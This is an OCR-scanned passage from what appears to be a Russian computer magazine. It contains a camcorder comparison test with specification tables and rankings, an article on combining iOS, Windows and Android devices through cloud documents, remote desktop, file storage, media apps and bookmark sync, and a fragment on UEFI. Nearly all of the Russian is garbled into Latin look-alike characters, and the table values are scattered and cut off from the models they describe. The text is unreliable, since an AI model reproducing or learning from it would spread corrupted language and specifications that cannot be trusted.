Ofimaa oueHKa, fiamiOB 

95,5 

94 

93,9 92,9 90 


KanecTBO M3o6pa)KeHHfl (35%) 

KanecTBO 3ByKa (15%) 

OcHamemie (20%) 

3pr0H0MMHH0CTb (20%) 

3Hepr03t|]t|]eKTMBH0CTb (10%) 

TexHMHecKMe xapaiaepncTMKn n pe3ynbiaibi M3MepeHiiM 



KapTa naMflTM 

SDXC 

(Jjjieuj-naivmTb 
(64 rSaiiT), SDHC 

HDD (240 rdawT), 
SDXC 

SDXC 

HDD (240 rdaMT), 
SDHC, MemoryStick 

Cxtarne Biifleo 

AVCHD, MPEG-4 

AVCHD 

AVCHD, MPEG-4 

AVCHD, MPEG-4 

AVCHD, MPEG-2 

KonnwecTBO ceHCopoB 

3 

1 

3 

3 

1 

Pa 3 pemeHne ceHCopoB, Tonex 

3x 3 050 000 

10 620 000 

3x 3 050 000 

3x 3 050 000 

6 631 000 

OoTopa 3 peiueHne, Tonex 

4608x3072 

3648x2736 

4608x3072 

4608x3072 

4000x3000 

OnTMHeCKMM 3 yM 

12x 

lOx 

12x 

12x 

lOx 

OoxycHoe paccroaHne (16:9), mm 

34-407 

47-473 

34-407 

35-420 

30-361 

Pa 3 Mep flncnnea, akmmob 

3 

2,7 

3 

2,7 

3,5 

BnfloncxaTejib 

• 

- 

• 

- 

• 

CTa 6 iuui 3 aTop M 3 o 6 pa>KeHnn 

onTi/inecKi/iM 

OnTMHeCKMM 

OnTI/IHeCKI/M 

onTi/inecKi/iM 

OnTI/IHeCKI/IM 

3 byk 

depeo, Surround 

depeo 

depeo, Surround 

depeo 

depeo, Surround 

LUyM npn 900 ntoxcax, % 

5 

6 

5 

5 

6 

LUyM npn 30 ntoxcax, % 

3 

5 

3 

4 

2 

ilpoflonMnieribHOCTb 3 anncn, mmh. 

100 

146 

90 

95 

105 

Bee, r 

430 

480 

510 

385 

567 
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l/IU3Il/lffOaei/IOdU-l/ll/IHVUl/\IOX :0I0ct> 









llepBoe 11 TpeTbe Mecia 3aH^nn xaiviepbi, 
npaKTi/inecKi/i He oini/iHafomi/iecfl .qpyr OTflpyra 
no xapaKTepMCTMKaM. Pa3Hnpa coctoi/it jimub 
b tom, hto dapujaa MOfle/ib KOMnnexiyeTCfl 
HacaflKoii Ha o6beKTHB ajih cteMKi/i 3D-BHfleo 

KaMH KanecTBa 3Byica. ITphhthbim hc- 
KjiHDneHHeM CTajia Sanyo VPC-CG10: 
OHa, KaK h Bee 6ojiee KpynHBie ynacT- 
hhkh TecTa, nojiynnjia OTJiHHHyio oneH- 
Ky b flaHHon ^HCiinnjiHHe. Ho oto eiae 
He 03HanaeT, hto npn HcnojiB30BaHHH 


BCTpOeHHOTO MHKpO(J)OHa bbi He yCJIBI- 
niHTe 3ByK pa6oTBi cepBonpHBOAOB (ra- 
npHMep, npn 3yMHpOBaHHH). 

OcHauieHne 
n 3HepronoTpe6neHne 

Jlynnie Bcex ocTajiBHBix ynacTHHKOB 
ocHamena BnaeoxaMepa Sony HDR- 
XR550E. noMHMO BCTpoeHHoro xcecT- 
koto AHCKa Ha 240 RianT OHa Moxer 
coxpaHHTB aaHHbie Ha Kapra SDHC 
hjih MemoryStick. 3to ea h h ctbch h aa 
Moaejib, KOTOpan yMeeT 3anHCBiBaTb 
BHaeo He tojibko cjiopMaTa AVCHD, ho 
h MPEG-2. Taioxe OHa mokct noxBa- 
CTaTbCH GojibniHM npKHM ancmieeM c 
xoponiHM pa3pemeHHeM, 3anHCbio 06b- 
eMHoro 3Byxa h bccmh Heo6xoaHMbiMH 
ayano- h BHaeopa3beMaMH. KpoMe toto, 
HMeHHO 3Ta KaMepa npoaeMOHCTpnpo- 
Bajia caMoe aanrejibHoe BpeMH aBTOHOM- 
hoh paOoTbi cpean «6ojibniHx» Moaejien. 
npaBaa, 6oraToe ocHameHne h eMKan 
6aTapen CKa3ajincb Ha ee Bece (567 r). 

KoMnaKTHbie MoaejiH o6jiaaaiOT oxh- 
aaeMo cxyaHhiM ocHameHneM: b hx 
HeGojibniHx Kopnycax nonpocTy HeT 
MecTa aHH aonojiHHTejibHbix pa3beMOB 
hjih Gojibinoro anciuien. 3aTO hmchho 
Taxan KaMepa CTajia pexopacMeHOM no 


aanTejibHOCTH paOoTbi: Toshiba Camileo 
H30 MoaceT CHHMaTb ao Tpex nacoB 
BHaeo 6e3 noa3apnaKH. 

BHe KOHKypeHIlNM 

Cpean ynacTHHKOB TecTa oco6hhkom 
ctoht Moaejib Sony NEX-VG10. 3to 
nepBan b MHpe BnaeoxaMepa c bo3mo>k- 
hoctbk) ycTaHOBKH CMeHHbix (J)otoo6b- 
eKTHBOB. Ha MOMeHT nOarOTOBKH MaTe- 
pnajia y Hee He 6 buio KOHKypeHTOB . 
NEX-VG10 npeaHa3HaneHa jum BayM- 
HHBOH XyaOXCeCTBeHHOH CbCMKH CO IHTa- 
THBa — aJIH 6bITOBOrO «CHTyaTHBHOTO» 
4)OTOipa4)HpOBaHHH C pyK OHa noaxoanr 
IUIOXO. Bo MHOTOM HMeHHO 3THM 06b- 
HCHHIOTCH He CaMbie BbICOKHe OHCHKH, 
nojiyneHHbie aaHHOH KaMepoii. 

Eme oaHa Heo6biHHan Moaejib CTajia 
no6eaHTejibHHu;eH TecTHpOBaHHH, ho b 
cjiynae c Hen HHKaKHx CKnaoK h otobo- 
pOK He Tpe6yeTcn. Panasonic HDC- 
SDT750, b OTjiHHne ot Bcex ocTajibHbix 
ynacTHHu, mojkct CHHMaTb 3D-BHaeo. 
3Ta 4>yHKu;H5i peajiH30BaHa c noMombio 
nocTaBjiiHOiaeHcn b KOMiuieicre Hacaa- 
kh Ha o6beKTHB, TaK hto y Hac 6buia 
B03M03KH0CTB npOTeCTHpOBaTb HDC- 
SDT750 b Tex xe ycjiOBHnx, hto h 
ocTajibHbie MoaejiH. am? 


| 6 MECTO 

7 MECTO 

8 MECTO 

9 MECTO 

10 MECTO 

11 MECTO 

12 MECTO 

Canon 

Legria HF S21 

Canon 
Legria HF 21 

Sony 

NEX-VG1 0 

Sanyo 

VPC-CG10 

Praktica 
DVC10.1 HDMI 

Kodak 

Zi8 

Toshiba 
Camileo H30 

www.canon.ru 

www.canon.ru 

www.sony.ru 

www.sanyo.com 

www.praktica.de 

www.kodak.ru 

www.toshiba.ru 

42 500/9800 

42 500/9900 

70 500/20 300 

7000/2800 

12 800/ — 

5900/ — 

8000/ — 

89,8 

87,5 

83,2 

70,3 

69,2 

66,2 

65,3 



cpjieiu-naMflTb 
(64 rbaMT), SDHC 

cpjieLu-naMflTb 
(64 rSaiiT), SDHC 

SDXC, MemoryStick 

SDHC 

SDHC 

SDHC 

SDHC 

AVCHD 

AVCHD 

AVCHD 

MPEG-4 

MPEG-4 

MPEG-4 

MPEG-4 

1 

1 

1 

1 

1 

1 

1 

8 590 000 

3 890 000 

14 600 000 

10 660 000 

10 000 000 

5 300 000 

10 000 000 

3264x2456 

2100x1575 

4592x3056 

4000x3000 

3648x2736 

3072x1728 

3644x2748 

lOx 

15x 

1 1 X 

5x 

5x 

lx 

5x 

42-420 

43-638 

32-357 

49-247 

39-196 

65-65 

39-196 

3,5 

2,7 

3 

3 

3 

2,5 

3 

• 

- 

• 

- 

- 

- 

- 

onTi/necKi/M 

onTi/inecKi/m 

onTi/inecKi/M 

3/ieKTpOHHbm 

3/ieKTpOHHbm 

3/ieKTpOHHbm 

3/ieKTpOHHbm 

ciepeo 

ciepeo 

ciepeo 

ciepeo 

ciepeo 

MOHO 

ciepeo 

8 

6 

10 

3 

2 

5 

3 

5 

6 

4 

3 

6 

4 

8 

80 

100 

95 

70 

85 

90 

180 

510 

397 

1262 

189 

253 

135 

270 
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Bee nyiuiee 

ot Apple, Microsoft m Google 


yquBMTejibHbm komcJdopt padoTbi c iOS, yHMBepcanbHOCTb Windows m wi/ipoKi/ie 
bo3mo>khoctm M3MeHem/iB Android — Mbi paccKaweM, KaK Bocnojib30BaTbcn 
JiyHLUI/IMM Cf)yHKLJI/mMM M3 3TMX TpeX MMpOB M «nOflpy>KMTb» MX flpyr C flpyrOM. 


y 60JTbLUHHCTBa H3 Hac Ha AO- 
ManiHeM KOMnbiOTepe ycTa- 
HOBjieHa OC Windows, AJin 
HTeHHH H npOCMOTpa (jDHJIb- 
mob b AOpore yao6ho hc- 
nojib30BaTb iPad, a AJin onepaTHBHOH 
CBH3H — TeJie(J)OH HJIH KOMMyHHKa- 
Top. fljw penieHHn jho6oh 3aAann 
mbi CTapaeMcn 3aAeHCTBOBaTb Hando- 
jiee yAodHbie HHCTpyMeHTbi. OAHaKO 
TaKoe pa3Hoodpa3He HMeeT h odpaT- 
Hyio CTOpOHy: name Bcero KaxAOMy 
H3 ycTpoiiCTB TpedyiOTcn AaHHbie b 


CBoeM (J)opMaTe, npnneM chhxpohh- 
3HpOBaTb hx He BcerAa npocTO. 

TeM He MeHee b HexoTopbix cjiyna- 
nx odbeAHHeHHe tbkhx ycTpoiiCTB 
cnocodHO cymecTBeHHO pacninpHTb 
HX B03M03CH0CTH. THnHHHblH npH- 
Mep — HCn0JIb30BaHHe KOMMyHH- 
KaTOpa AJin ynpaBjieHHH ITK. Ectb 
h donee npocTbie 3aAanH, KOTOpbie 
BnojiHe mo3cho peniaTb nocpeACT- 
bom odnjeH AJin Bcex njiaT(})opM 
nporpaMMbi — 6pay3epa. Tax, HHTaTb 
ajieKTpOHHbie KHHrn moxho c jnodo- 


ro AOCTynHoro b TeKymnn momcht 
yCTpOHCTBa. 3aKOHHHB HTeHHe c 
OKpaHa ITK, MOvKHO odpaTHTbca k 
toh ace CTpaHHu;e KHHrn Ha iPad — 
AJIH 3T0r0 AOCTaTOHHO BOCnOJIb- 
30BaTbCB OHJiaHH-CepBHCOM WWW. 

orangereader.com. Mbi npoaHa- 
jiH3HpOBajiH Handojiee THnHHHbie 
ciieHapHH Hcnojib30BaHHn ycT- 
pOHCTB H3 pa3HbIX MHpOB H paC- 
CKaaceM BaM, KaK HanjiynniKM 
odpa30M opraHH30BaTb hx B3an- 
MOAOHCTBHe . H3U? 
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CDOTO: K0MnAHI/ll/l-nP0l/l3B0fll/ITEJll/l; JULIEN TROMEUR/FOTOUA.COM; 




fljifl C03flaHna yflo6HOM paSonew CMCTeMbi M3 Mo6mibHbix ycipoMCTB m nK 
Heo6xoflmvio, HTofibi Ha Bcex hi/ix pa6oiajia ncma, 6bmn Ha;ia>KeHbi cfcaimo- 
o6MeH v\ p6flaKTnpoBaHi/ie floxyivieHTOB. PeajiM30BaTb 3 to oneHb jierKO. 



d 6 http5://docs.google.comydo{;uiment/m?[d=1 ql 8... m 

Googk; Gmail Buzz Docs more * 0 

Microsoft Word Oocument-rioc Rflfrtlh 

UpiSalt-d by b collaboratur ] minute Jjjo 

<ft> Tecry W oSjopw 

<?k> d/iaiipdpMbi 
<T> OfitflAWHUeM MLipbl 

yAwenTtyibi+afl PiOM^opTHocTb pafiarw c iPad, yMUBepcajibHCKTt 
Windows h LunpoMie bosmojuhGCTu Hswe-Hew* Android, Ksk 
eocrtdflbSoeaTbefi flyviiMM nx jths rpex w^ipos n xaic ^noApyxnTb^ m Meitgjy 
co&oifl paccKawei CHIP. 

Boji aw whctbp m Hac wcnojifaiyer flowa sown btoiep c PC Wi rtdows, A fljm 


Mo6MiibHbie 

AOKyMeHTbl 


Hio6bi co3flaBaib, npocMaipMBaib n peflaKTMpoBaib 
AOKyMeHTbi, Tenepb Heo6fl3aTe/ibHo BK/nonaTb Hacro/ib- 
HblH KOMnblOTep H OTKpbIBaTb OCflHCHbie nporpaMMbl OT 
Microsoft. B KOHi^e 2010 rofla GoogLe Bbinycrn/ia no/i- 
HOUeHHyiO BepCMK) OH/iaHH-npn/lOKeHHfl «flOKyMeHTbl 
GoogLe» a^h Mo6n/ibHbixycTponcTB noAynpaB/iem/ieM 
iOS n Android. TeKCTOBbie cfian/ibi n Ta6/inubi 6\/r\/t noA 
pyKon, rAe 6bi Bbi hh HaxoAn/incb, — AOCTaTOHHO Ha- 
6paib b aApecHOM crpoKe 6pay3epa docs.google.com 
n co3Aaib n /in Bbi6paTb coxpaHem-ibin paHee AOKyMem. 
Eo/iee Toro, stot cepBMC no3BO/meT pa6oiaib HaA oa- 
HMM cfiaHJlOM HeCKO/lbKMM n0/lb30BaTe/lflM OAHOBpeNieH- 
ho, npn 3 tom pe3y^bTaTbi peAaKTupoBam/ifl OTo6pa>Ka- 
hdtch b pe>nnMe pea/ibHoro BpeMeHM. 


iii flecKTon b CMapT(f)OHe 


^no/iyHHTb AOCTyn k CBoeMy Hacmnb- 
HOMy KOMnbiOTepy noA ynpaB/ieHneM 
Windows mo>kho H3 /no6oro Mecia, rAe 
ecTb coTOBan CBH3b. ripn/io>KeHnH f\nn 
noAK/noneHMH k Pa6oneMy CTO/iy b ac- 
copmMeHTe npeA/iaraiOTCH KaK b App 
Store, Tax n Android Market. CpeAM 
hmx ecTb n 6ecn/iaTHbie pemeHna, 
n KOMMepnecKne c pacwnpeHHon 
cjDyHKAMOHa/ibHOCTbio. npocTenwne 
nporpaMMbl, Tanne KaK Remote RDP 
A/ih Android, n03B0/mi0T/ierK0 noA- 
K/noHHTbCH k KOMnbiOTepy b Baiuen 


zioKa/ibHon cem. Ec/in >Ke BaM Hy>KeH 
AOCTyn k l"l K nepe3 MHTepHeT,/iyHiije 
BOcno/ib30BaTbCH 6o/iee npoABHHyTbi- 
mh peiiieHMHMM — HanpnMep, Team- 
Viewer. 3 tot 6ecn/iaTHbin p,nn Hacmo- 
ro Mcno/ib30BaHMH Kpocc-n/iaTc|)op- 
MeHHbin cepBnc npeAno/iaraeTycra- 
HOBKy no Ha o6a coeAHHflioLAHxcfl 
Apyr c APyroM ycrponcTBa. npn stom 
B aM He Hy>KHO B03HTbCfl CO C/10>KHblMH 
HaCTpOMKaMM — AOCTaTOHHO BBeCTM 
MAeHTMc|DMKaAMOHHbm HOMep n napo/ib, 
KOTopbie noACKa>KeT caMa nporpaMMa. 



V< Dropbox 


Got Started Filet Ev«nti £ Sharing . , Help 

X i 

5 2010 Crunch 1*1 (, Dropbo. 



A uwica«« 114.7** rnitro*, io n pm 

*Wi "tro P<Jt rntr.iUjtt }*HA 


iii Hy>KHbie c|)aMfibi 
x Bcerfla nofl pyKOM 


scjDcjDeKTMBHoro cj3aM^oo6MeHa 
Me>KAy n K n Mo6n^bHbiMM ycTpon- 
CTB3MM ^yniue Bcero Mcno^b30BaTb 
BMpTya/ibHbie xpaHM/inma. l/lx r/iaB- 
Hoe npeMMyiAecTBO coctomt b tom, 
HTO «o6/iaHHbie» BblHMC/lMTe/lbHbie 
AeHTpbi o6ecneHMBaiOT coxpaHHocTb 
AaHHbix, a AOCTyn k hmm mo>kho no- 
ziyHMTb c /iio6oro l"l K v\m Mo6n/ibHO- 
ro ycTpoiiCTBa, noAK/noHeHHoro k 
MHT epHeTy. f\nn iOS m Android cyiAe- 
CTByiOT 6ecn^aTHbie npM/io>KeHMH 
A/ih pa6oTbi c OH/iaMH-xpaHM/iMiAaMM 
Dropbox (www.dropbox.com) m 
BoxNet (www.box.net). flepBbm 


cepBMC 6ecn^aTH0 npeAOcraB/meT 
2 T6aMT, a BTopon — 5 T6aMT cbo6oa- 
hoto MecTa. 3a Aono/iHMTe/ibHyio 
n^aTy obteM xpaHn/iniAa no3BO^H- 
eTCH yBe/iMHMTb ao 100 T6aMT. Ho 

CTOMT OTMeTMTb, HTO B03M0>KH0CTn 
3 tmx pecypcoB orpaHMHeHbi: MaKCM- 
Ma^bHbm pa3Mep (frama cocTaB^neT 
10 M6aMT, a OH/iaMH-xpaHM/iMiAe 
He^b3H CMOHTMpOBaTb KaK^OKa^b- 
Hbm auck. TeM He MeHee AaHHbie 
cepBMCbi ot/imhho noAOMAy T pa3- 
MeiAeHMH Cj30T0rpac|DMM, My3blKM, AO- 
KyMeHTOB M/1M coxpaHeHHbix KOnMM 
3aiUMC|3pOBaHHblX CfiaM^OB. 


° 0 ° 


Android OS 



iii CMHXpOHM3MpyeM 
nOMTy, KOHTaKTbl 
m Ka/ieHAapb 

^TMnMHHan KapTMHa: AOMa v\m Ha pa6oTe ncno^b3yeTCH 
nK noA ynpaB^eHMeM Windows, a b Aopore — iPad mjua 
Android-CMapTcfioH. (Ipn stom B03HMKaeT Heo6xoAMMOCTb 
b cn HxpoH M3a Ann noHTbi, Ka/ieHAapn n koht3Ktob. CyiAe- 
CTByeTyAo6Hbin unarm GoogLe Apps Sync, KOTopbin AaeT 
AOCTyn k cepBncy GmaiL, Ka^eHAapio n KOHTaKTaM Hanpn- 
Myio n3 Microsoft Outlook. cnHxpoHn3aunn AaHHbix 
CBoero Google-aKKayHTa c iPad mv\ CMapTcjDOHOM noA 
ynpaB^eHneM OC Android mo>kho BOcno^b30BaTbcn craH- 
AapTHbiMn noHTOBbiMn K/ineHTaMn ycTponcTB. 


i Cifl .1 Opbiki QhA flBpeaofl CffilnC HtiitTme ^npa*Kj 
" > >^T.cn4T t ^ 
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OEUiEHME M PA 3 BJ 1 EHEHMH 


ripMATHO, jie>Ka Ha fli/iBaHe, nocMOTpeTb Ha njiaHiueTe CBe>Kee kmho hjih BOcnojib 30 BaTbca yflo 6 cTBaivm 
MofiMJibHoro i/iHTepHeT-cep(J)MHra. Ho, HToSbi b no/iHOM Mepe Hac/iaAmbca MyjibTMMeflkMHbiivm pa 3 BJie- 
HeHMflMH, npMfleTCa yCTaHOBHTb Ha CBOM yCTpOMCTBa AOnOJlHMTeJlbHOe no. 



BMAeoTeKa 


A o HeflaBHero BpeMeHM 06 /ia- 
AaTe/iM iPad 6bi/in orpaHnne- 
Hbl B CflOpMaTaX BMfleO, KOTO- 

pbie mo>kho npocMaipMBaTb 
6e3 KOHBepiauMM. Tenepb 
MCn0/lb30BaTb KOHBepiepbi 
M pa36MpaTbCfl B TOHKOCTflX 
KOflMpoBaHMfl Heo6^3aie^b- 
ho: nony/mpHbm npoMrpbma- 
Te/ib VLC media p Layer CTa/i 
flOdyneH p,nn iPad (a TaK>Ke 
iPhone 3GS m 6o/iee no3flHMx 
BepCMM). HT06bl OCHaCTMTb 
CBOM n^aHUJeT B03M0>KH0CTbl0 
BOCnpOM3BefleHM51 /lK)6blX 
BMfleoc|)aM/iOB, ydaHOBMTe 
AaHHbm naKeio6biHHbiM ny- 
TeM — nepe3 App Store, flpo- 


uecc 3Kcnopia BMfleo c I1K 
Ha iPad He cmnb npocT. fl/m 
Hana/ia 3anycTMTe Ha KOMnbio- 
Tepe iTunes m noflcoeflMHMTe 
n/iaHiueT. Bbi6epMTe b npaBon 
nacTM oKHa iTunes «iPad», 
a BBepxy — «nporpaMMbi». 
KnMKHMTe no mkohkc VLC m 
npoMOTaMTe no/iocy npoKpyT- 
KM OKHa BHM3. B HaCTpOMKaX 
n/ieepa Bbi yBMAMTe cnMCOK 
BMAeo,xpaH5UAeroc5i Ha 
n/iaHweTe. riepeiaiAMTe 
cjDM/ibM Ha 3Ty naHe/ib, m 
nepe3 HeKOTopoe BpeMA 
noc/ie ero KonnpoBaHna 
Ha iPad oh CTaHeT AOcryneH 
A/ifl npocMOTpa. 



+ -■ 0 

VLC media player npourpbiBaeT nrodbie cpopiviaTbi Bi/iAeo 


Windows 7 Ha iPad 


3anycTHTb 

«ceiviepKy» 

Ha nnaHiueie 
ot Apple MO>K- 
HO KaK BMpTy- 
anbHyfo OC 

C nOMOLAbfO 
npnno>KeHMfl 
Citrix Receiver 


MHorue ncmb30BaTejiM Bee eme BecbMa 
CKenTMHecKM othocbtch k nnaHiueTHbiM 
KOMnbiOTepaM m orpaHMHeHHbiM B03- 
MO)KHOCTBM MOdMJlbHblX OnepaAMOHHbIX 

CMdeM. Ho pa 3 pad 0 THMKM y>xe npeACTa- 
bmjim doraTbm Ha 6 op nporpaMMHoro 
odecneneHMa ajia peweHMfl dojibWMH- 
CTBa noBceAHeBHbix 3 aAan. HanpMMep, 
Ha iPad noA ynpaB/ieHMeivi iOS ceroAHfl 
mo>kho no/iHoueHHO padoTaTb Aawe 
c Windows 7. EciecTBeHHO, penb He 
mast 06 MHCTarniBAMM «ceMepKM» Ha 
apxMTeKTypy iPad, ho cnepMajiMCTbi 
KOMnaHMM Citrix pewM/iM 3 Ty 3 aAany c 
noMOiAbio TexHOJiori/ii/i BMpTyanM3auun. 
CaMa OC ot Microsoft yciaHOBJieHa Ha 
molahom cepBepe Citrix, a npMJio>KeHMe 
Citrix Receiver npodo npeAOCTaB/iaeT 
yAaneHHbiM AOCTyn k HeM c iPad. ripn 
padoTe c Windows 7 ASHHoe npMJiowe- 
HMe noAAsp>KMBaeT TexHcmorMio Multi- 
touch m >KecTbi, odbeAMHaa Ase, Ka3a- 
nocb 6 bi, coBepiueHHo pa3Hbie CMdeMbi 
B OAHO uenoe. OAHaKO CTOMT OTMeTMTb, 
hto A^ia KOMchopTHOM paboTbi c Win- 
dows 7 Ha iPad HeodxoAMMO AOCTaTOH- 
ho dbidpoe MHTepHeT-coeAMHeHMe. 



iii OAHopoAHan h a b lira Alin 




Ha KOMMyHMKaiope xoTe/iocb 6bi MMeTb b 
CB oeM pacnopii>KeHMM Te >Ke 3aK/iaAKM 6pay- 
3epa, hto m Ha AOMawHeM KOMnbioTepe. 3 to 
mo>kho ycTpoMTb HecKO/ibKMMM cnoco6aMM. 
no/ib30BaTe/iflM GoogLe Chrome AOcrynHO 
paciuMpeHMe PhoneMarks. Oho Ao6aB/meT 
b Be6-o6o3peBaTe/ib KHonxy, KOTopaa no3- 
BO/lfleT CMHXpOHM3MpOB3Tb 33K/iaAKM CO 
CTaHAapTHbiM 6pay3epoM Android. Oaho- 
MMeHHoe npM/io>KeHMe HaAO h 3 mtm b And- 
roid Market m ycTaHOBMTb ero Ha KOMMyHM- 
KaTop. fl/ia yAo6cTBa ctomt 33BecTM OTAe/ib- 
Hyio nanxy A-n^ 3aK/iaAOK, KOTopbiMM Bbi 
XOTe/lM 6bl n0/lb30BaTbCfl Ha M06MJlbH0M 
ycTpoMCTBe. 3aTeM b HacrponKax pacwupe- 
hma HaAO Bbi6paTb CMHxpoHn3aunto mmchho 
C 3TMM KaTa^OrOM (cm. CKpMHUJOT). 


Ec/im Bbi npeAnoHMTaeTe Opera Mobile, 
BOcno/ib3yMTecb cepBMCOM Opera Link — 
KHonxa ero BK/uoneHMa HaxoAMTca b hm>k- 
HeM zieBOM nacTM 6pay3epa. llpM nepBOM 
o6paiAeHMM k HeMy BaM npeA-nowaT co3AaTb 
aKKayHT. 3tm >Ke perMCTpauMOHHbie AaHHbie 
Heo6xOAMMO 6yAeT BBeCTM B M06n/lbH0M 
BepcMM Be6-o6o3peBaTe/ia npM BK/noneHMM 
b HacTpoMKax onAMM «0pera Link». 
CyiAecTByeT peweHMe m p,nn no/ib30BaTe/ieM 
iPad m iPhone. HTo6bi cMHxpoHM3MpoBaTb 3a- 
K/iaAKM, MM HaAO B0Cn0^b30BaTbC^I BCTpoeH- 
hom cjDyHKAMeM iTunes, ho OHa pa6oTaeTTO/ib- 
ko c Internet Explorer. Ecjim Bbi Mcno^b3yeTe 
Apyrne 6pay3epbi, noMO>KeT paciuMpeHMe 
Xmarks (www.xmarks.com), cMHxpoHM3Mpy- 
loiAee 33K/iaAKM Safari, Firefox, Chrome n IE. 




c ^ ☆ JjSyE [S d 8 b ^ S 


‘f 

This vfiislon of PhoneMa rks carrenlly only supports transfer of bookmarks from Chrome to yttuf Android device. This 
WILL replace aityodr Android bookmarks with the ones rremyoor Chrome hrcwser. 

future versions will Include; 


* Background synchronisation 
> Phone to Chrome synchrony alien 


Settings 

| Save Settinas I 

Mohlte BmIu not ks Feldet i nawejtb sartnanok .android y 


n»K«jib 

n&nejib saictaaoK.IC 

Debud Mode: nanejih oaitjis^ojc.sputnik 

Thjt tfiiHM * Htubue rtaKens oauiafleK.mobife 


e..gi«D.es Access »9w>9A«x.nsw6 

Tho M. d.=, 

Apyrne jaiaiaAKH.CIub-gl 

| Remove Access | 

^ l 
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iii MyjibTHMeflHa nofl KQHTpojieM 


«riOflOKOHHMK» 

A jin Android 



3MyjinTop Android od/iaAaeT Bceivm 
B03M0>KH0CTflMM pea/lbHblX yCTpOMCTB I/I 
no3BO/ineT Bbi6paTb jno6yio Bepcmo OC 

Ecjim Bbi eii^e pa 3 flyMbiBaeie, ctomtjim 
noKynaTb KOMMym/iKaiop v\nv\ nnaHweT 
Ha 6 a 3 e OC Android, to MO>Keie B 3 rna- 
HyTb Ha ee i/iHTepc(Dei 7 ic HenocpeflCTBeHHO 
M 3 Windows: cyiAecTByeT nojiHopeHHbiM 
SMyrmTop Android, bxoabiamm b MHCTpy- 
MemapMM AJifl pa 3 padoTKM. Oh no 3 BoriMT 
BaM He TO/ibKO nocMOTpeib Ha CMdeiviy, 
ho m ycTaHOBMTb modbie nporpaivnvibi M 3 
Android Market Tax >xe, xax Ha peanbHoe 
ycTpoMCTBO. fljia MHCTajiJiapMM Android 
SDK CKanaMTe ero c caMTa http:// 
developer.android.com/sdk. 


Te, KTO CMOTpMT cflM^bMbl M/IM CJiywaeT My3blKy 
co CBoero Hacro/ibHoro KOMnbiOTepa, KOHen- 
HO, CTa/lKMBa/lMCb C npo6/ieMOM AMCTaHpMOH- 
Horo ynpaB/ieHMB. Hio6bi nepeMOTaTb c|DMjibM 
Ha HecKO/ibKO cexyHA Ha3aA, nocraBMTb boc- 
npoM3BeAeHMe Ha nay3y mjim oipery/iMpoBaTb 
rpoMKOCTb, npMxoAMTC^i BdaBaTb c AHBaHa 
M TBHyTbCB K K/iaBMaType MJ1M MbllUM. 
noKynaTb AoporocTOBiAMe 6ecnpoBOAHbie 
MaHMny/iBTopbi Heo6fl3aTejibHO, ec/iM y Bac 
ecTb 6ecnpoBOAHan ceTb m iPhone m/im 
A ndroid-KOMMyHMKaiop. TaKMx MOAe- 
jieM cyiAecTByeT Macca 6ecn/iaTHbix npM/io- 
>KeHMM, n03B0/ifli0LAMx ynpaB/iBTb MeAMa- 


n/ieepoM l"IK, — HanpMMep, VLC Remote, Ha- 
Ae/miOLAee Mo6M/ibHoe ycrpoMCTBO cjoy h kljm- 
bmm ny/ibTa fl, Y rj\s\ nony/mpHoro npoMrpbi- 
Bajenn VLC media player. 

Taioxe cyiAecTByeT MH0>KecTB0 npM/iowe- 
HMM, AaiOLAMX B03M0>KH0CTb nO/lHOAeHHO 
pa6oTaTb c KOMnbiOTepoM. Ohm npeBpaiAaiOT 
CMapTcjDOH mjim njiaHiueT b 6ecnpoBOAHyio 
KJiaBMaiypy m TannaA, noAKJUoneHHbie k l"IK 
no Wi-Fi mjim Bluetooth. Hy>KH 0 mnbKO 
ycTaHOBMTb K/iMeHTCKoe npM/io>KeHMe m Ha 
KOMnbiOTep. M 3 HaM6ojiee yAaHHbix perne- 
hmm mo>kho Ha3BaTb Gmote p,jin Android 
m Logitech Touch Mouse p,nn iOS. 



Pa3pemeHMe m AHaroHajib HbmewHMx mohmto- 
poB c/iMLUKOM Be/iMKM p,nn hmx, a npopeccopbi 
OKa3biBaiOTcn nepecnyp 6bicipbiMM. fla m amc- 
TpM6yTMBbi, HexorAa 6epe>KH0 xpaHMMbie, ot- 
npaBjieHbi b MycopHyio Kop3MHy v\3-sa Heco- 
BMeCTMMOCTM C COBpeMeHHblM «>KeJie30M». 
OxyHyibc^ b aTMOCc|Depy xyjibTOBbix Mrp npoLU- 
JlblX JieT n03B0/lfll0T M 06 MJlbHbie yCTpOMCTBa. 
Ha30BeM JlMlilb HeCKO/lbKO Mrp, nopTMpOBaH- 


Hbix Ha n/iaic|x)pMbi iOS m Android: Doom, Heroes 
of Might and Magic III, Duke Nukem 3D. 3tm 
m Apyrne 6/i0K6acTepbi AOdynHbi jim6o 6ec- 
njiaTHO, jim6o 3a CMMBOJiMHecKyio peHy. 
CoBpeMeHHbie Mrpbi noxa Tfl>xejiOBaTbi p,nn 
n/iaHLUeTOB M KOMMyHMKaTOpOB, 3aT0 Bbl Ha- 
BepHnxa CM0>xeTe h3mtm p,nn CBoero raA>xeia 
3ByK0Bbie CXeMbl M TeMbl OCjDOpMJieHMB B CTM- 
/lMCTMKe jix)6mmom Mrpbi. 


Angry Birds: 
nmubi Miipa 



He3aienjinBan nrpa y>xe MHoro 
MecnpeB agp>kmtcb b Ton-jiMdax 
Android Market m App Store 


HenpMMMpMMbie MAeonomecKMe npo- 
tmbhmkm M3 Jiarepei/i jnodMTeneM iOS m 
Android c yAOBOJibCTBMeM odbeAMHMJiMCb 
Boxpyr Mrpbi Angry Birds. 3to 3 adaBHoe 
npMJio>KeHMe, b kotopom paccep>KeHHbie 
nTMpbi odbBBM/iM BOMHy BopoBaTbiM 3ejie- 
HblM CBMHbflM, AOCTynHO B BepCMBX AJlfl 
odeMX ModM/ibHbix nnaicfjopM. nojib30Ba- 
Te/IM AaHHbIX CMCTeM a3apTH0 C0CTB3aX)T- 
cb Apyr c APyroM b KO/iMnecTBe HadpaH- 
HblX OHKOB. riOAeJlMTbCB CBOMMM AOCTM- 
>xeHMBMM oneHb npodo: pe3ynbTaTbi 
mo>kho ompaBMTb b Facebook mjim 
Twitter npaivio M3 MHTepcheMca Mrpbi. 
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nonnepwKa 3 T6aiir 

UEFI no3BOJii/iT 6e3 orpa- 
HMHeHMM MCn0Jlb30BaTb 
BMHHeCTepbl eMKOCTbfO 
CBbiLue 2 T6aMT 


HoBao MMKpocxei/ia 

KaK m BIOS, UEFI xpa- 
HI/ITCfl B Ma/ieHbKOM 
Mi/iKpocxeMe 
cjDJieiu-naivmTM 


CeTb 


rpat|)MHecKoe MeHio 

3anyiaHHoe TeKCTOBoe 
Memo BIOS yxoflm b 
npoLunoe — Haayna- 
eT spa yAo6Horo 
